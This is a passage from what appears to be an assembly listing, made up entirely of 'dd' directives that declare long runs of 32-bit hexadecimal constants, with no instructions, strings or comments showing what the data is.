1C1387BDh, 0E3F19333h, 4941108Ch, 34A5AB00h, 0D6AC32AFh dd 0CC88D4h, 578A0439h, 8CEDDBh, 789163E0h, 833FA617h dd 8061283Ah, 29DD2BB8h, 1724EEDh, 5CFB6945h, 2425D5A4h dd 3B00F814h, 0CAA651C2h, 1FB4E605h, 6D554E12h, 0E940FC44h dd 987CFC6Ch, 62E6407Ch, 9DCDE4E3h, 0B846464Bh, 6A0CB73h dd 9011E57Ch, 6A0FC134h, 0C1A494Fh, 0F77A8E3h, 355472BDh dd 0C79210E0h, 3328C3E5h, 6000B08Dh, 6A1AD782h, 98326376h dd 0ED141F80h, 91E8C04Bh, 12B11B57h, 0C409FA4Fh, 0DEF03A58h dd 7C7B0C14h, 0B50562B9h, 0B30532E5h, 6A19D444h, 0B393B40Fh dd 46900008h, 10E90FB5h, 0AA3C1E6Ch, 1F29866Ah, 0BDE0308Eh dd 0F9AE8303h, 0B046FEACh, 2D299C01h, 46A9641h, 4D86062h dd 55186201h, 70AE35EFh, 26891ECh, 0FB7EF4DDh, 0B4702AD4h dd 0E50AD900h, 8C56FDB4h, 44A75B5Ah, 578CDA0h, 0B4C839C8h dd 0ED112EEEh, 0FE578090h, 839BDB27h, 4E18AC05h, 1CC2812Ch dd 55E46863h, 88C25BDFh, 80A1AA04h, 796C3146h, 7D588EE8h dd 6AEC02E5h, 4A6859D2h, 151C0900h, 9A7DC08h, 4890CF70h dd 0DCFED416h, 3ECCD882h, 7D2A9DFFh, 704820B8h, 0B7755512h dd 0C6AF2C44h, 0AC925604h, 0B878D8DCh, 0B2117DDBh, 0A8C461BCh dd 94A02719h, 0C28833A0h, 0CA0BCDD4h, 3244FAC4h, 4C38C884h dd 2E3CD460h, 121276F4h, 0F0281FB7h, 0D460758h, 0C3EA632Ch dd 37926F66h, 92173840h, 6008CE50h, 0D4F9BA05h, 8ED6A67h dd 29CFC3C2h, 0AED4F448h, 7AD0F449h, 0FE025A09h, 0FF8C817Ch dd 9071FD6Dh, 0D428A00h, 98D425F0h, 8A15D0C8h, 9F8031Eh dd 0BA67813Dh, 1E42D42Ah, 0A1AAD420h, 5F3FE1B4h, 49285714h dd 0C7822F1Ch, 0A46C8ABDh, 8EECE0A6h, 894C3A9Fh, 9814716Ah dd 45B939E1h, 92B36C02h, 9940D4h, 0CF7DD6CAh, 0B469111Ah dd 43604058h, 0CB9C178h, 708C0426h, 667B63E0h, 0A880CC4Bh dd 0EA21F6EFh, 0DEE512A5h, 7698C7A6h, 1F3BB8A8h, 3E6BFFD6h dd 0ADE840E0h, 0E712E58h, 47BC26A6h, 0FB11B095h, 77009D18h dd 1EFE39E0h, 50455614h, 13E016h, 0AFBC04E2h, 6E2A61F8h dd 65D27C14h, 374300E8h, 495BC36Fh, 6ADC012Bh, 0D4786974h dd 6B402473h, 2F152910h, 0B2D83412h, 816289ECh, 5FEF978Dh dd 24295E60h, 683A85h, 589DCC6Ch, 4324E9FFh, 310325DBh dd 99932Ah, 78E37620h dd 8FF3AC80h, 27DD6C00h, 67A1F521h, 942F2E33h, 0D5690198h dd 0DC2EFB28h, 24900846h, 903C602Eh, 0D8E88B27h, 0F4852084h dd 48EA4340h, 45023423h, 7E03DF68h, 0D7B60860h, 0ECF22B01h dd 35D44817h, 1855D450h, 4F80B687h, 40244AA6h, 0E4B0E895h dd 68129FE3h, 5CD2A0CBh, 9C4E87Eh, 888E1CC7h, 62C299Eh dd 501C08D4h, 197D4300h, 0DF29F142h, 40BB5EA4h, 0B504615Ch dd 2165E198h, 44B291C0h, 5A8F5D00h, 0A0258018h, 5E4B0A1Eh dd 780D81CCh, 0AC6D0090h, 17088CB8h, 1401BD42h, 725E58A5h dd 136B1231h, 0DAE8C8D4h, 0B6602297h, 93E853A7h, 104C58Ch dd 43C03610h, 7FA030F8h, 0CF0D8307h, 15B4D44Bh, 97E064F0h dd 0CED1E4E8h, 20212F1Eh, 0FBDD6FC0h, 67C67Ch, 0FCD36A91h dd 19D4C5C9h, 3C365Dh, 445EE2D9h, 3F1DEDh, 0D7D29160h dd 0D459C910h, 0BC90994Bh, 41BD1Eh, 0D0AA8418h, 0BC891B9h dd 0ECBEC700h, 4B21DEACh, 4CD7CE5h, 4F936DCFh, 3A40C033h dd 7B3ED0E8h, 319C5811h, 253113Bh, 0D12C1443h, 0BAE52029h dd 0F0A05824h, 54505DD2h, 5B690F78h, 5DE93DB5h, 0D47FF021h dd 14167A57h, 48764C04h, 0ED75041Eh, 0D020831Ah, 607713F1h dd 0A44008F4h, 2BD30BD1h, 0EC01F0E1h, 0DDFF54ECh, 145BCC97h dd 272A0C0Ch, 9347865h, 320411F6h, 0D418B020h, 3896F5A6h dd 529D20Fh, 3C90922Fh, 3D1E26ACh, 70AF7965h, 6284CC8Ah dd 31042476h, 1982B4A9h, 4D0037D3h, 1BB7F432h, 804731C6h dd 0D47090F4h, 949AB438h, 0D949D262h, 7B5C58D7h, 67BB344Ch dd 0B874D520h, 2AEA268h, 34F811A6h, 396BF60h, 0C4C09368h dd 0A0C9BAC2h, 794050A4h, 1B590A5h, 99915A12h, 0D229DAD3h dd 4804187Ch, 0FCC232D7h, 0E810095Bh, 1C0084F8h, 0BA6081Eh dd 13EE3A1Fh, 29E25ADh, 0BA12DE92h, 21093C53h, 17881105h dd 8C063A0Dh, 2D28D024h, 0E4612061h, 0BE07881h, 0A4E6E292h dd 0A0F0BCE8h, 63E51B2Ch, 460B20C7h, 52B9FE7Dh, 9DA89BF8h dd 7530B86Dh, 0D0180238h, 0EC40CE00h, 8DD4441Bh, 45749686h dd 0C2480419h, 70F11687h, 78F515E0h, 305E7B0Eh, 0F7905008h dd 2E01AC98h, 44EC0D95h, 5020CFCAh, 4BB340B1h, 11D57C04h dd 0B4E2425Fh, 0A0CF1913h, 0B41662A8h, 0CCC939CCh, 1F1C323Eh dd 0A01C6468h, 92A02654h, 0E384A31Eh, 286214CDh, 35B0C36h dd 0EC2019A8h, 3A81004h, 0ACF0C0AFh, 0CE0B5A0h, 29F76EDh dd 3791660h, 3AA0E2CCh, 0E6027CD1h, 675D4180h, 0A246081h dd 95A41FF1h, 95812EEh, 0C4011750h, 304D3514h, 8A706582h dd 2031D116h, 99CFD11h, 60BC18FCh, 0C9D5171Ch, 987957F0h dd 807E2EBEh, 5F97C780h, 2C84AD8Eh, 3A14E40Bh, 1FE1DCB5h dd 4C6BDC38h, 0CDB8E289h, 725DE702h, 0A0256129h, 849EBC9Ch dd 0A1280BDAh, 0E451E4FDh, 0BF2866A7h, 0BFE1B007h, 40D0A722h dd 0BE1908C8h, 0AC462918h, 12D3AD10h, 97966FAh, 90C087B7h dd 2525D455h, 0F09C649Ch, 0D0324FADh, 2082F6A0h, 0A011A828h dd 0C5531212h, 0F402B057h, 2C5052AAh, 0CD0DC910h, 0A877B8D4h dd 58555A42h, 0FAE8C0ECh, 0CA8B19D9h, 6100A4B0h, 142BF4B7h dd 982C5009h, 6812058h, 0C10564Dh, 40C44329h, 0C2B83CADh dd 70B48718h, 337FEC8Ch, 6D60CCBEh, 585D0D68h, 2C070CCAh dd 7DC729F2h, 0AA903440h, 440D04B4h, 8C4110B2h, 0BD04B084h dd 0E7D80FA0h, 0DDF0D9EFh, 0B71C006Bh, 61F7C332h, 1B2DB4F2h dd 26084546h, 0D04A13B8h, 39554898h, 2805A48h, 16D38779h dd 0D1838A2Fh, 47A66203h, 37287BAh, 80B07677h, 239EAB5Ah dd 175D712Ah, 0E062A208h, 9C7788h, 31ACDA4Ah, 0D06520A3h dd 3A6F9102h, 0C0F08F96h, 7F362658h, 97F72C52h, 0EAEF0068h dd 4729B551h, 0BA0A65Dh, 0E04511DFh, 0F4905E48h, 91A800C5h dd 4F39CA71h, 6109022Ch, 20C9B9D4h, 7A66C584h, 137C9101h dd 831CCC80h, 5B288C60h, 2CDB3849h, 0ACC66Bh, 8FC2D034h dd 8295CED4h, 0C0FE3A28h, 0B231AF4Ch, 0D50212E8h, 5F60C0A4h dd 855A296Ah, 6095A8C2h, 0B52E5E90h, 0D4820C8Eh, 0C4689354h dd 7A019E01h, 0DAB44D6Fh, 0C221333h, 20C05C78h, 5E1C7800h dd 16FCF6F9h, 58AF2A19h, 8832DE58h, 78971C18h, 0BC2501B5h dd 2730EC29h, 84E04BE4h, 3640B1D4h, 2FB22F92h, 634E60E6h dd 610AD446h, 0C2491E60h, 0AB1316CCh, 0D3946000h, 10C79165h dd 95564A1h, 592D199Bh, 30A42FF0h, 92CC01B7h, 5997E9CBh dd 18344E19h, 0E066CEE3h, 68920DD8h, 73FE8A07h, 0A0F9148Ch dd 0D4566B54h, 90CC5EE1h, 0F8E2D008h, 55EDA213h, 9CF38016h dd 2A1A1B74h, 29E05ABBh, 81FD73Bh, 32C1EA7Eh, 6EB7D4C4h dd 0D7A5A893h, 0A2354378h, 0F594E801h, 1AC3AA61h, 29A4212Fh dd 1D83CC5h, 5167FDFEh, 8C306A54h, 0C03500E3h, 0B2D06C0Dh dd 3C967685h, 0CFF8803Dh, 16ACE854h, 4A0C004Eh, 60CE126Eh dd 2E0F203Ah, 0E0BED838h, 0C584B8D0h, 0EDD90B03h, 0CC5079D4h dd 33AD8206h, 306655h, 16E31D27h, 0D1B2CA6Ch, 0C8B0CE5Bh dd 1FEFFEC5h, 7F2AC6Bh, 0C01FB380h, 356381F8h, 2082984Bh dd 0F6B6C2C3h, 26FA80FCh, 5EF1FC25h, 68651601h, 39CBB458h dd 0AA070473h, 0A9C79ED3h, 190EE8D9h, 531750DDh, 0CE9204B4h dd 3430AAE2h, 27D460F7h, 0ECC4C96Dh, 81782EF0h, 10BCA0B6h dd 95001718h, 0AA3C67ADh, 0D70F7C6Ch, 245C1165h, 0FC242A3Ah dd 51648930h, 3C4AA7ACh, 985C1409h, 29EEF08h, 0BCE8AA50h dd 9F6F3C54h, 722C02A7h, 0F91460CDh, 38265C23h, 6EEA4700h dd 0A0F2F43Ah, 9468A312h, 554FD401h, 9838C46Dh, 8434BC92h dd 0AE05C1D6h, 1ECC2E0h, 8AD7300Ch, 0BF7B50F0h, 1BA6580h dd 77E8ACCDh, 3E2896AAh, 0E420CC29h, 688A41C6h, 0DEECC0B4h dd 121F4658h, 0B9D9AA87h, 69508448h, 0C3C3511Bh, 239E101h dd 7B2F6365h, 0D42826EDh, 5E88D15Eh, 28647408h, 0ED3083EFh dd 16018CE2h, 30CD1F5Ch, 1CF9AD38h, 2C8A9D0Ah, 0B39D4D5h dd 0C415A055h, 935D0094h, 0B5CB250Ah, 4F37D45Ah, 9930A083h dd 72016B47h, 0CF490F1h, 2C6C91E9h, 0A04ACC1h, 720D5B63h dd 2B00D0A9h, 7FBF8289h, 6890128Fh, 0F3FF2D03h, 0C958EE38h dd 0C07830CDh, 0D610D501h, 0F0657D89h, 239F1AB3h, 1816A54h dd 2A02143Ch, 20B9FD11h, 6401DA14h, 0C56AD291h, 3E4F8D3h dd 840EF92h, 975C3ED4h, 6E8084C8h, 0AC148901h, 971EE1D2h dd 41B812F8h, 7A1C35AAh, 0EDFC5402h, 3060F662h, 2B9F1919h dd 0F43C9A95h, 35A72458h, 2724E360h, 0D9400B60h, 78D4418Ch dd 0D8287A77h, 5E54B831h, 0FD5C8DCCh, 98036E65h, 0C19EEEAAh dd 30892E1Dh, 94EB21B2h, 55E50AC0h, 126D5D27h, 8608F9F4h dd 38196729h, 0CACF200h, 88772F71h, 66650169h, 6EE3A59Eh dd 0D4A870DAh, 645CDB5Ah, 82238C02h, 88988069h, 91A48FDh dd 2CDEF9A1h, 5D24E8D8h, 22A58825h, 76F23028h, 839262DCh dd 823CF829h, 41F499C4h, 40F2C024h, 690A659Fh, 9029D2D1h dd 90B958h, 8D9EC937h, 6A9161F6h, 49B39800h, 0F1435D30h dd 0A48E1D36h, 3128C0F7h, 0BA7532BBh, 0FCE60309h, 501076E1h dd 7F01ED7Bh, 79D37CEEh, 63C52C83h, 44AB8D3h, 0A9BD00EFh dd 0DC75659Eh, 887D421Eh, 25A6DE18h, 7F20C628h, 11280108h dd 0DFEF06BDh, 0FC30B9B1h, 0D0FBC8F2h, 0B458CA31h, 593DB9h dd 0AB4ABCF8h, 0C0119DE8h dd 62271870h, 0CE3B06C1h, 288E1FC9h, 0AB50E0FAh, 199DCFh dd 9A10CB3Dh, 83B92C90h, 18DE753Ch, 4B38C63Ch, 0BE381E93h dd 91D3C645h, 47035837h, 0CED550D9h, 0E02790D0h, 0AB253A1Bh dd 0C2807939h, 62756906h, 0A0405011h, 20A50158h, 31464DBDh dd 98F0BE4Ah, 91A19711h, 0B92E3066h, 61EEA9B8h, 6049D318h dd 0CAD1310h, 96AB3465h, 9A0E3308h, 0A7627D23h, 0DEF3880Ah dd 202C9841h, 27F2000Eh, 53D32A1Eh, 0BD60EEE4h, 50C7AC21h dd 0F6775ECh, 5D54F4F5h, 0A6B360B8h, 1DF96500h, 0FC521B39h dd 0C0BA50EBh, 91633018h, 0FB7690C0h, 3143A218h, 10ACD2E8h dd 810FF7Ah, 2279AA92h, 424128CCh, 10F094h, 2A1F6465h dd 0D1B36088h, 59A72D00h, 3AC1BD1Dh, 0D3280C1Ah, 0E0309452h dd 0EB252300h, 0BAAB0FFFh, 0FEE764Fh, 0DEF3D801h, 803F0C2Eh dd 6B910D87h, 1F068C2Dh, 4ED4D34Bh, 0F7650740h, 17B74ABBh dd 0AE924170h, 3A31E03Eh, 74198867h, 0D38D69C0h, 90E051E3h dd 0B141D098h, 550D828h, 0D31815C4h, 2E182FD6h, 0EBAB00D9h dd 1679506Fh, 0D8FEFEF0h, 62A08150h, 2904391Bh, 81EAC540h dd 2038C61Eh, 9074C860h, 7F884C53h, 63C7D35Ch, 0C0AA6A10h dd 0F6829F64h, 50666267h, 4886DDABh, 181040C6h, 0A7071F4Ch dd 22BD28B2h, 88605D56h, 3503E437h, 14D3A634h, 20380D5Eh dd 0EC9128D1h, 2C92D75Dh, 0E065B601h, 7B61ECFDh, 0DC329820h dd 8862C4A8h, 18C893B3h, 0D38B6012h, 0FA99409h, 410206A8h dd 54170970h, 0B023653Eh, 0D9283110h, 2B01A46Eh, 288F143Fh dd 30BAA9B3h, 33587C48h, 36FCFB02h, 0D044D0ABh, 0C3848h dd 0DA25581h, 11F395Dh, 9F951B4Eh, 80C843D4h, 0A8578228h dd 18693DECh, 586D0628h, 0F437D318h, 0AA57F130h, 0D919D9E3h dd 0C1009075h, 0B10061EDh, 0D0C2BD30h, 0C35A3828h, 5460FDE8h dd 0D3B890C4h, 48C291CAh, 826B9068h, 46F9AB0Ch, 7CD7770Ch dd 9E491B8h, 0CC0FC1DBh, 803763A4h, 308060E8h, 25098090h dd 0A0E41229h, 6D4DF534h, 39400F3Eh, 28A06023h, 9DCD6B4Bh dd 41719000h, 0AB4CBB8Ch, 7D950EFBh, 343C060h, 40879E1Eh dd 0EAAC8D59h, 70981B75h, 80ADEF00h, 1CE00220h, 445E0034h dd 8D508F8Eh, 7E05CA90h, 761BD5D2h, 74CC3487h, 0A0EA4814h dd 69569E00h, 29E52868h, 2BE3E8C0h, 9995D09h, 0B1478518h dd 24C20C06h, 3451F9F3h, 0B818D100h, 1BA87EECh, 0F78E1FBAh dd 40013F63h, 33EB7077h, 0EAA083E7h, 0E067937Bh, 13DF01D1h dd 6065D6B5h, 0D407A0CCh, 0EA0BA49h, 20AC705Eh, 6EEFC0CAh dd 41FF02ECh, 1BF9F2BEh, 98A26560h, 0E1D839C4h, 4C86484h dd 0B83054EFh, 0D03163B3h, 6E9959E2h, 0F6B88B52h, 0B60005Eh dd 78CDF799h, 78B54C68h, 24106C54h, 82C62BBh, 30067E5h dd 488B7E2Ch, 36091FABh, 0E0CA403Eh, 50D5D3CBh, 0DF2889C4h dd 0B94A445Fh, 0B4E8D745h, 82C90995h, 440E42A0h, 8BD4920h dd 5826544Dh, 93E90830h, 50AD4600h, 75AC746Dh, 27B6003h dd 825C66BFh, 0C547602h, 858343D3h, 0A4212798h, 619245DCh dd 183C03C6h, 8040BC0Ch, 250029D2h, 62E38B6Eh, 1170152h dd 2B669EC0h, 0EF9128E8h, 0BC8F056h, 20BE6518h, 0B1085048h dd 0C830ED5h, 0C4D84C67h, 90916890h, 109C6414h, 0A512403Ah dd 178C0010h, 194FAC7Fh, 24E03102h, 6416AB28h, 69B48180h dd 0C0460102h, 7D3BCF20h, 91E8A07Fh, 28EC59BFh, 8D135048h dd 1C754Fh, 3C6784B8h, 0D6F8718Fh, 0AC584800h, 182AD4D0h dd 404F64F8h, 30320CEEh, 0E8DE48ABh, 0CB460F93h, 0A99431D3h dd 787430D3h, 5C990578h, 9F13983Fh, 9B10B1B0h, 32D38624h dd 0D6E95053h, 0C4543099h, 0E1DAB703h, 1B544830h, 429060h dd 8D5AB80h, 181CB10Bh, 0A4EEC826h, 3411BC92h, 28620488h dd 1C84BE96h, 3EB5872h, 0A0544B7Fh, 5419592Ch, 8579722Bh dd 5806A190h, 0B6A2060h, 1BBBA968h, 1F8D1021h, 5078370Eh dd 4AE86418h, 1300157Ch, 887E45E3h, 133EC990h, 3858C82h dd 4EE00158h, 0C33C18DEh, 0E22A097h, 1BF7A111h, 0C4D36382h dd 0AEDC78C8h, 0BF0F4390h, 0A7E48F4Eh, 20332627h, 8E200064h dd 0D84963A9h, 0AB00DD2Dh, 0D680C317h, 1B6D909Fh, 60F86421h dd 1431CFE0h, 0E075F1E7h, 0EE662D8Bh, 26E12CCAh, 40C0FA28h dd 1DEC02BAh, 310C10Eh, 690B9F77h, 45B70395h, 78F04938h dd 0F901C84Ch, 0AB3CC861h, 1F9238BDh, 2ED2926Dh, 58EC4854h dd 598807B0h, 6140122Fh, 0D2D50B11h, 90140621h, 9C908985h dd 55F6509h, 0D64C83E5h, 582900D9h, 44E64308h, 2818AC1Eh dd 0EDB1CF98h, 363D03B4h, 9A1F10C4h, 0B3563002h, 0E40738C9h dd 50D37934h, 0B863DC3Ah, 16DE0EDCh, 497F6AADh, 38107C9Eh dd 157074A0h, 10E3340Ah, 7BA8041h, 0AB6C636Dh, 0E83C6243h dd 980A13D3h, 0C0D8AC50h, 0D32338F1h, 0FC926C3Fh, 8EBE9217h dd 8718F830h, 8BE78315h, 56312890h, 8CDC0626h, 976308h dd 9FB9FD57h, 130A3F01h, 0A0346585h, 7D4608h, 5F42FFACh dd 0D349933Ch, 3928775Ch, 2B247C02h, 142084E3h, 0F2B3E113h dd 283A1C4Dh, 0D7E830h, 0F138C1BDh, 54C75EEBh, 0FBBBAB0Fh dd 0C93F60F3h, 26D3E3FEh, 403C7A6Ch, 83635328h, 0E22F1F00h dd 65BAC6Eh, 0C58C1E3Ch, 582300CAh, 95A4323Ah, 0AF1EBC00h dd 0D4ACFAE3h, 66A700C8h, 979B15E4h, 421D705Ch, 1C00A46Bh dd 0A332496Dh, 5A6400EDh, 3074F951h, 0B308618h, 0C5D56813h dd 0B03803C7h, 0DDBC5B1Ah, 23D840ABh, 8505B37Ch, 6EE19D17h dd 435BE2C0h, 3AE0013Fh, 4C8A8DD5h, 8F53E1E4h, 86EF28h dd 4170E390h, 17D5006Bh, 4A7362F2h, 653CEDA8h, 23D9800Ah dd 11381FB0h, 7C77CA0h, 0D1AB3E85h, 8D326349h, 4C81E000h dd 0BF02F238h, 0D625288Ch, 48C20080h, 3AE679E7h, 94A013EAh dd 0EE00A561h, 98D657A7h, 0F8235ABCh, 0E8D500B3h, 3445290Eh dd 6B0005FBh, 4ADDB6DCh, 15E573A6h, 0B4143506h, 3FA64B3Bh dd 98F20048h, 3724B827h, 3AE1D606h, 268ADAEh, 0E84FEAEDh dd 0D4827E6Eh, 80834328h, 0A4A07A90h, 0C3330B4Eh, 0F398A8A3h dd 5B883831h, 71E2F7D0h, 62F30C7Eh, 0A4397AA9h, 12B29900h dd 23BA11E6h, 0E568C028h, 6F8F5347h, 850640DEh, 18A801B1h dd 7030708Ch, 4A00EDB8h, 5AA824BEh, 0F1D4980Fh, 6B45AD00h dd 303AE80Dh, 78E0400Ch, 0F756F0EAh, 23341080h, 0A63EB26Eh dd 85E59B06h, 50908B6Bh, 40FFACDAh, 0B9743849h, 0D7E31707h dd 0D6903BB0h, 1D97BC0Fh, 0B3A39859h, 3CB06370h, 140022E9h dd 7B4D9AA4h, 462E02Ah, 2E4E4080h, 0E6D7800Ah, 1A0372EDh dd 30EC426Dh, 95C79748h, 888C3DC0h, 0B09CA0F7h, 0F2670020h dd 8EEDEF59h, 0C002CBFEh, 0EE515837h, 98088166h, 808764B4h dd 597239AAh, 74A4D400h, 0BC1284BBh, 0A401605Fh, 0D44B0DB8h dd 1E63AD0h, 955AE86Ah, 0F0158ADAh, 2529B0D8h, 0B51EB46Bh dd 0D70B00A0h, 98FE4914h, 0D8A08631h, 0AB00AD62h, 0D50C080Fh dd 74AFDB0h, 1B9EE032h, 582480DAh, 0D00BFCD4h, 856A7234h dd 0E840DEC8h, 0FA895317h, 0D8625CE7h, 0AFE65A00h, 0B810DDD4h dd 0C443E3Eh, 30E98F3Ah, 98DE0D33h, 0EE98F5CBh, 896D5080h dd 0D14CB6ECh, 209410h, 0F4D96F4Eh, 81D4FE3Ah, 3C844021h dd 3BFEEC5Fh, 0C219876Fh, 480633A2h, 0C16AE7D8h, 310B3D59h dd 0D65C24CCh, 0EB72840h dd 0AF530F97h, 2E825880h, 70160EEh, 98F3F5F6h, 28801FBEh dd 8FBC3DACh, 0D47C20E1h, 98B94628h, 1A66E0C0h, 308C5857h dd 1160EA37h, 3F1F6359h, 90A43C17h, 0E0E210B2h, 6F72A467h dd 3B8328E5h, 0A01D467Ah, 6C3AE08h, 143387EEh, 0C0B823F8h dd 0F5848C0Ch, 5A01EB10h, 0BFC73F6Bh, 5C802041h, 0AF442687h dd 2A4CDB24h, 9CA87508h, 0AA07774Ch, 0FF318BADh, 25590B20h dd 98603CE6h, 8D80C177h, 420FFD8Ch, 8C8A5284h, 7B6487F4h dd 3B77823Fh, 48848049h, 2B0CA2C8h, 0B0AC3306h, 1E832007h dd 0B418A0F1h, 9900E07Bh, 8D62E5F5h, 3E203F6h, 3A5D721Ch dd 482C31C2h, 2507EBDEh, 4F84DB09h, 4C97D880h, 0C478C45Bh dd 51BA0270h, 70E507EFh, 0BC03B53h, 0F0E310CAh, 271FC41Dh dd 9D06B203h, 0A1897C0Ah, 0E6F11FA4h, 69A00A05h, 0DED20160h dd 600BB388h, 0D501D08Fh, 8C5A07D1h, 48305B3Dh, 903A26DEh dd 235F4588h, 6FE170C8h, 0EADCC82Eh, 285D0326h, 12220B06h dd 0F5B82838h, 80B171D8h, 10C4E5B2h, 0B700A143h, 9A633554h dd 8A1DEEF8h, 0A2953B32h, 48B68C34h, 147348A4h, 0C05458C4h dd 0AD8C34A8h, 0E9D44250h, 25806003h, 1EFAE798h, 972E6E9h dd 0AC202D0Bh, 0B206E8B1h, 0EC8B5D0Eh, 17283Ah, 22E55045h dd 0B0002B8Ah, 5CCAD826h, 602D85FAh, 0DDBE8851h, 0ED4C76CCh dd 53120058h, 5945F567h, 0EBA801E6h, 413B3389h, 61C19026h dd 4C203094h, 2C848B00h, 0D385AACFh, 0AE20CB4Dh, 43EEF805h dd 0EB769878h, 546D3126h, 8E047h, 861DB7D3h, 28B28058h dd 3403F6F4h, 0BB3AE5F3h, 718139A5h, 3839EE87h, 4A51C2DFh dd 31821C49h, 230225Ch, 653362EBh, 0FA344053h, 69AD8048h dd 5D131B00h, 0D1EB2024h, 98EE0A9Ah, 88C05503h, 90025318h dd 406F2BF2h, 17E6275Ch, 1298974Ah, 80A040C8h, 5A9A25D7h dd 0A8F04C73h, 3ED808A0h, 344B0E16h, 375CC401h, 8465AE53h dd 2E79DC42h, 0E617B8A2h, 4DAAD080h, 0B5902B0Ah, 0D6201864h dd 58246488h, 0AE26F8F3h, 3E860678h, 7A3C1808h, 24045C03h dd 0AE1240BAh, 0E760880Eh, 29D7B377h, 0EC941919h, 0B040E312h dd 17F0AB61h, 143CB759h, 1894735Bh, 22E0B832h, 6C255C85h dd 37DF7801h, 205445F8h, 3C00A6F4h, 64682658h, 2885E498h dd 59985ED8h, 68340D9h, 813B2197h, 33D18743h, 8C27DB1Dh dd 6C803BD4h, 0C260FC9h, 9D12E2E1h, 0CB1D1740h, 0EE0027E5h dd 75B77F8Dh, 323006F0h, 504F2A86h, 58883414h, 70AE30ECh dd 4CB06872h, 3C9D88D3h, 4B20185Ch, 0B1BC5D50h, 0F486E52Eh dd 1891F30Dh, 38D9420h, 9830EAB9h, 0F8008084h, 0F65C85ADh dd 0D16EE1h, 1A78EE4h, 67D0F5EEh, 7AA11105h, 0E80B9934h dd 0D9BC2076h, 488F5ADFh, 0C29F7420h, 0AC8C6B21h, 89DFE048h dd 3E168CA4h, 7C07E7DDh, 3FA00821h, 0ECAD94A4h, 22F41FACh dd 69093782h, 0E93AD800h, 0ED00B41Dh, 0AD441488h, 3B5839h dd 62602432h, 0B3167EAEh, 0B47A7728h, 8028354Dh, 0B21FAE61h dd 51091DDh, 9B5C86h, 0A97444D8h, 3D03BA37h, 303301EFh dd 9CA4904Fh, 63680150h, 0C9D0B446h, 345BF0FEh, 663A8409h dd 0C1944285h, 0BC27B504h, 7E9C0C98h, 0C19E3A07h, 54536744h dd 0D940047Bh, 0C0574F0Dh, 0EEE69494h, 0FA397002h, 68AA8C83h dd 5AECACh, 0BDB0DCA5h, 9FA41F4Ah, 58305074h, 87DD10B6h dd 49E502FAh, 20A585E6h, 0C6D6C080h, 0DF0C465Bh, 71923B25h dd 0A98C0E3Eh, 0BD20FFFDh, 60C80F3Dh, 4D5F730h, 0E1348DE9h dd 392C33C0h, 1F738B24h, 8CBAB551h, 581C690Ah, 0E2EA8103h dd 0B056A96Bh, 62DE4C2h, 24E92AC6h, 5F1F2455h, 7C7B850h dd 8FC30D6Bh, 5C180730h, 9304EC83h, 121B8734h, 9952C629h dd 0AAFCCC11h, 5EF30689h, 0A8E862E9h, 246634F0h, 0F10F55Ch dd 15AD029h, 9D5C14F9h, 0E3838146h, 0D927D1A4h, 2A80EBA2h dd 0FBA525Fh, 5B00C946h, 815AD609h, 47AC6EEh, 18E93715h dd 0D2BE00F6h, 0E475293Bh, 5A7EC5F5h, 3C854C43h, 0C748966h dd 811BE1E6h, 811C04C1h, 640BD55h, 0E45DE901h, 10106376h dd 1B6002B8h, 2B4E5432h, 0BF572461h, 66F30F0Ch, 0C7FDF785h dd 0A8E9B14Eh, 562E9D46h, 0F73D0C98h, 0F38100DBh, 6C902EF5h dd 5B6CD989h, 577C6Bh, 8169C765h, 0FD11C3EDh, 51451E00h dd 0D51C6CB9h, 0BE560304h, 8482997h, 15EF198h, 0E959CD06h dd 7648F68h, 1F212E05h, 487E264h, 8208FC91h, 70E99C0Ch dd 0F5938FCDh, 98317986h, 8F593C1Dh, 259B26BCh, 0C38224FBh dd 1A89F2A6h, 0F620B405h, 865C68D4h, 8A5E2819h, 0C4830680h dd 8DCC8004h, 507FECE6h, 508BE33Dh, 7B31680Eh, 1C89382Ah dd 51EF6A8Ah, 0C9C89DB8h, 1103CD0h, 0BB0047B7h, 3E1C154h dd 0F6D1F749h, 9AD3619Ch, 60DEF681h, 13E1447h, 0C920B8F0h dd 0B2317669h, 8BDD5782h, 0C4816A8Ah, 2C8743EEh, 0DB66FB19h dd 0F43C54Fh, 120C4183h, 18B9E5F4h, 2636EA10h, 9D06FF73h dd 4CBCE9C9h, 0EB800A30h, 3B9658F5h, 327F7E72h, 661C8A79h dd 0A0A27F88h, 6044FEB9h, 0C2091E84h, 0B1ACE2D1h, 5A685501h dd 5D2E341Ch, 1217297h, 59E96048h, 2A9E5632h, 0A7B15107h dd 80C3CC88h, 0C468F8E4h, 1423C037h, 0E9DAB624h, 15D08C77h dd 2B2878D2h, 5EFC7AD2h, 0E86C3129h, 0DA1EE986h, 348B2920h dd 0FC252ADCh, 1CFA6C9Fh, 15553AA6h, 0E9E0CC47h, 20F4C134h dd 2246AE04h, 41DA0AD2h, 0D820D573h, 63C3AEC5h, 520F978Bh dd 0F3511624h, 556B9403h, 48D5E16Dh, 9E20924h, 18B077F2h dd 442E5981h, 0D101C410h, 0E8875A24h, 82C15C09h, 88EC816Dh dd 0E0B3BA33h, 34112031h, 445D8524h, 3E8C8166h, 43036020h dd 86E9505Eh, 5A1222A6h, 0FF20BB53h, 665BD801h, 631F433h dd 4CB323EDh, 0F6600B3h, 3468CCB6h, 3C64D217h, 0EB28E937h dd 74E497F9h, 5E2A247Ch, 37D4268Fh, 304735C6h, 14206164h dd 932C6C68h, 0FC090CAAh, 49004156h, 0AC40F181h, 9829C0CFh dd 2D69A016h, 6CF83F5Ah, 7C2FF580h, 510534A4h, 6F4D2E7Eh dd 357B10C7h, 65504F41h, 98E68956h, 0ED98A6F1h, 0E9033402h dd 3197789h, 0C2885205h, 0C7A4D2F6h, 53E020F4h, 0FE484CB3h dd 75EB1C97h, 1151F3CDh, 79E9F4D4h, 28C0CF06h, 1EA75AAAh dd 22322CC0h, 33670DD4h, 0DF1420D3h, 57580701h, 0C781E789h dd 0A50A4D45h, 8A8CB653h, 90310A06h, 0EAC11347h, 51CE0E05h dd 68D560F2h, 35C44ADAh, 63194131h, 53C8438Bh, 24E0A7E1h dd 6791EAA1h, 5C2AB9A8h, 6818CE54h, 32492A02h, 26DBA62Fh dd 42C6D25Ch, 6801CAAAh, 0A72751EEh, 1653FC48h, 9384C724h dd 495125Fh, 1E0B15F9h, 54CCF91Dh, 3F530E4Dh, 0AFACE389h dd 0D38887D2h, 0D4DA8252h, 0FA00A3CAh, 20FA1536h, 0DFEE0132h dd 60F54A5Dh, 625BC744h, 91FB643Eh, 3F00000Bh, 1632271Ch dd 8E0C1h, 813A8545h, 